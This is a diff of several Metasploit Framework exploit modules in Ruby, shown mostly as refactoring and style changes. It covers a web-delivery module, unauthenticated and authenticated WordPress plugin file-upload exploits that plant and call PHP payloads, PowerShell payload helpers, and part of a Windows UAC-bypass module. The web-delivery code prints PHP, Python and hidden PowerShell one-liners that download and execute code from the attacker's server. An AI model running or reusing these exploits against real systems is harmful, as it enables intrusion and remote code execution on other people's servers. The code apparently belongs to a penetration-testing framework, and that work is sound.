|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
|
||||
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
|
||||
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
|
||||
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
|
||||
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
|
||||
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
|
||||
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
|
||||
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
|
||||
],
|
||||
'Platform' => %w{python php win},
|
||||
'Platform' => %w(python php win),
|
||||
'Targets' =>
|
||||
[
|
||||
['Python', {
|
||||
|
@ -53,41 +55,45 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP
|
||||
}],
|
||||
['PSH_x86', {
|
||||
['PSH', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}],
|
||||
['PSH_x64', {
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64
|
||||
}],
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64]
|
||||
}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 19 2013'
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Delivering Payload")
|
||||
if (target.name.include? "PSH")
|
||||
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
|
||||
def on_request_uri(cli, _request)
|
||||
print_status('Delivering Payload')
|
||||
if target.name.include? 'PSH'
|
||||
data = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
remove_comspec: true,
|
||||
use_single_quotes: true
|
||||
)
|
||||
else
|
||||
data = %Q|#{payload.encoded} |
|
||||
data = %Q(#{payload.encoded} )
|
||||
end
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
|
||||
end
|
||||
|
||||
def primer
|
||||
url = get_uri()
|
||||
print_status("Run the following command on the target machine:")
|
||||
url = get_uri
|
||||
print_status('Run the following command on the target machine:')
|
||||
case target.name
|
||||
when "PHP"
|
||||
when 'PHP'
|
||||
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
|
||||
when "Python"
|
||||
when 'Python'
|
||||
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
|
||||
when "PSH_x86", "PSH_x64"
|
||||
when 'PSH'
|
||||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
|
||||
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
|
||||
print_line generate_psh_command_line(
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
command: download_and_run
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,17 +8,19 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
||||
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
|
||||
file upload and remote code execution via the uploadify.php script. The Foxypress
|
||||
plug-in versions 0.4.2.1 and below are vulnerable.
|
||||
},
|
||||
plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Sammy FORGIT', # Vulnerability Discovery, PoC
|
||||
|
@ -28,78 +30,55 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['EDB', '18991'],
|
||||
['OSVDB', '82652'],
|
||||
['BID', '53805'],
|
||||
['OSVDB' '82652'],
|
||||
['BID', '53805']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
|
||||
'DisclosureDate' => 'Jun 05 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php")
|
||||
})
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
|
||||
)
|
||||
|
||||
if res and res.code == 200
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return Exploit::CheckCode::Detected if res && res.code == 200
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
|
||||
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
|
||||
|
||||
print_status("#{peer} - Sending PHP payload")
|
||||
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"),
|
||||
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => post_data.to_s
|
||||
})
|
||||
)
|
||||
|
||||
if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
|
||||
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
|
||||
print_error("#{peer} - File wasn't uploaded, aborting!")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
|
||||
res = send_request_cgi({
|
||||
filename = "#{Regexp.last_match[1]}.php"
|
||||
|
||||
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
|
||||
register_files_for_cleanup(filename)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php")
|
||||
})
|
||||
|
||||
if res and res.code != 200
|
||||
print_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
|
||||
)
|
||||
|
||||
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -8,81 +8,76 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
|
||||
plugin. By abusing the upload.php file, a malicious user can upload a file to a
|
||||
'Description' => %q(
|
||||
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
|
||||
plugin. By abusing the upload.php file, a malicious user can upload a file to a
|
||||
temp directory without authentication, which results in arbitrary code execution.
|
||||
},
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Sammy FORGIT', # initial discovery
|
||||
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
|
||||
'Sammy FORGIT', # initial discovery
|
||||
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '82653' ],
|
||||
[ 'BID', '53809' ],
|
||||
[ 'EDB', '18993' ],
|
||||
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
|
||||
['OSVDB', '82653'],
|
||||
['BID', '53809'],
|
||||
['EDB', '18993'],
|
||||
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'Targets' => [['asset-manager <= 2.0', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 26 2012'))
|
||||
end
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
|
||||
], self.class)
|
||||
def check
|
||||
uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = target_uri.path
|
||||
uri << '/' if uri[-1,1] != '/'
|
||||
peer = "#{rhost}:#{rport}"
|
||||
payload_name = "#{rand_text_alpha(5)}.php"
|
||||
php_payload = get_write_exec_payload(:unlink_self=>true)
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
|
||||
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload #{payload_name}")
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
|
||||
'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
)
|
||||
|
||||
if not res or res.code != 200 or res.body !~ /#{payload_name}/
|
||||
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload #{payload_name}")
|
||||
res = send_request_raw({
|
||||
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
|
||||
'method' => 'GET'
|
||||
})
|
||||
register_files_for_cleanup(payload_name)
|
||||
|
||||
if res and res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
|
||||
end
|
||||
print_status("#{peer} - Executing payload #{payload_name}")
|
||||
send_request_raw(
|
||||
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
|
||||
'method' => 'GET'
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,23 +3,23 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
|
||||
'Description' => %q(
|
||||
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
|
||||
plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
|
||||
temp directory without authentication, which results in arbitrary code execution.
|
||||
},
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Sammy FORGIT', # initial discovery
|
||||
|
@ -28,82 +28,62 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '82656' ],
|
||||
[ 'BID', '53787' ],
|
||||
[ 'EDB', '18987'],
|
||||
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
|
||||
['OSVDB', '82656'],
|
||||
['BID', '53787'],
|
||||
['EDB', '18987'],
|
||||
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'Targets' => [['wp-property <= 1.35.0', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 26 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
|
||||
uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
|
||||
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
)
|
||||
|
||||
if not res or res.code != 200
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
return Exploit::CheckCode::Appears
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/')
|
||||
data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/')
|
||||
request_uri = normalize_uri(data_uri, 'uploadify.php')
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
@payload_name = "#{rand_text_alpha(5)}.php"
|
||||
php_payload = get_write_exec_payload(:unlink_self=>true)
|
||||
payload_name = "#{rand_text_alpha(5)}.php"
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
|
||||
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
|
||||
data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload #{@payload_name}")
|
||||
res = send_request_cgi({
|
||||
print_status("#{peer} - Uploading payload #{payload_name}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => request_uri,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data
|
||||
})
|
||||
)
|
||||
|
||||
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
|
||||
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
end
|
||||
|
||||
register_files_for_cleanup(payload_name)
|
||||
|
||||
upload_uri = normalize_uri(res.body)
|
||||
|
||||
print_status("#{peer} - Executing payload #{@payload_name}")
|
||||
res = send_request_raw({
|
||||
print_status("#{peer} - Executing payload #{payload_name}")
|
||||
send_request_raw(
|
||||
'uri' => upload_uri,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code != 200
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
|
||||
end
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,7 +12,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress WPTouch Authenticated File Upload',
|
||||
'Description' => %q{
|
||||
The Wordpress WPTouch plugin contains an auhtenticated file upload
|
||||
|
@ -33,19 +34,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
|
||||
['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['wptouch < 3.4.3', {}] ],
|
||||
'Targets' => [['wptouch < 3.4.3', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 14 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USER', [true, "A valid username", nil]),
|
||||
OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
|
||||
OptString.new('USER', [true, 'A valid username', nil]),
|
||||
OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -58,55 +59,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
|
||||
res = send_request_cgi({
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
})
|
||||
# no readme.txt present
|
||||
if res.nil? || res.code != 200
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
if version.nil?
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('3.4.3')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
check_plugin_version_from_readme('wptouch', '3.4.3')
|
||||
end
|
||||
|
||||
def get_nonce(cookie)
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'uri' => wordpress_url_backend,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
)
|
||||
|
||||
# forward to profile.php or other page?
|
||||
if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
|
||||
location = res.headers['Location']
|
||||
if res && res.redirect? && res.redirection
|
||||
location = res.redirection
|
||||
print_status("#{peer} - Following redirect to #{location}")
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'uri' => location,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
})
|
||||
)
|
||||
end
|
||||
|
||||
if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
|
||||
return $1
|
||||
if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
|
||||
return Regexp.last_match[1]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
@ -124,20 +99,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Uploading payload")
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.body and res.body.length > 0
|
||||
if res && res.code == 200 && res.body && res.body.length > 0
|
||||
register_files_for_cleanup(filename)
|
||||
return res.body
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -164,9 +139,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
print_status("#{peer} - Calling uploaded file #{file_path}")
|
||||
res = send_request_cgi({
|
||||
send_request_cgi(
|
||||
'uri' => file_path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
# encoding: UTF-8
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
|
@ -70,29 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
check_plugin_version_from_readme('wysija-newsletters', '2.6.8')
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -101,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
zip_content = create_zip_file(theme_name, payload_name)
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
|
||||
uri = normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
|
||||
|
@ -112,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
|
||||
post_data = data.to_s
|
||||
|
||||
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
||||
payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload to #{payload_uri}")
|
||||
res = send_request_cgi(
|
||||
|
|
|
@ -120,7 +120,7 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
|
|||
end
|
||||
|
||||
def psh_technique(var_shellobj, p)
|
||||
cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
|
||||
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
|
||||
js_content = %Q|
|
||||
//<html><head></head><body><script>
|
||||
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
|
||||
|
|
|
@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
command = cmd_psh_payload(payload.encoded)
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
if command.length > 8000
|
||||
# Windows 2008 Command Prompt Max Length is 8191
|
||||
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
|
||||
|
|
|
@ -4,96 +4,65 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Post::File
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Runas
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Escalate UAC Execute RunAs',
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module will attempt to elevate execution level using
|
||||
the ShellExecute undocumented RunAs flag to bypass low
|
||||
UAC settings.
|
||||
},
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'mubix' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [ [ 'Windows', {} ] ],
|
||||
'Author' => [
|
||||
'mubix', # Original technique
|
||||
'b00stfr3ak' # Added powershell option
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [['Windows', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
|
||||
['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html']
|
||||
],
|
||||
'DisclosureDate'=> "Jan 3 2012"
|
||||
'DisclosureDate' => 'Jan 3 2012'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("FILENAME", [ false, "File name on disk"]),
|
||||
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
|
||||
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
|
||||
OptString.new('FILENAME', [false, 'File name on disk']),
|
||||
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
|
||||
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
|
||||
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
|
||||
open_key = session.sys.registry.open_key(root_key, base_key)
|
||||
lua_setting = open_key.query_value('EnableLUA')
|
||||
|
||||
if lua_setting.data == 1
|
||||
print_status "UAC is Enabled, checking level..."
|
||||
if is_uac_enabled?
|
||||
print_status 'UAC is Enabled, checking level...'
|
||||
case get_uac_level
|
||||
when UAC_NO_PROMPT
|
||||
print_good 'UAC is not enabled, no prompt for the user'
|
||||
else
|
||||
print_status "The user will be prompted, wait for them to click 'Ok'"
|
||||
end
|
||||
else
|
||||
print_good "UAC is not enabled, no prompt for the user"
|
||||
print_good 'UAC is not enabled, no prompt for the user'
|
||||
end
|
||||
|
||||
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
|
||||
|
||||
case uac_level.data
|
||||
when 2
|
||||
print_status "UAC is set to 'Always Notify'"
|
||||
print_status "The user will be prompted, wait for them to click 'Ok'"
|
||||
when 5
|
||||
print_debug "UAC is set to Default"
|
||||
print_debug "The user will be prompted, wait for them to click 'Ok'"
|
||||
when 0
|
||||
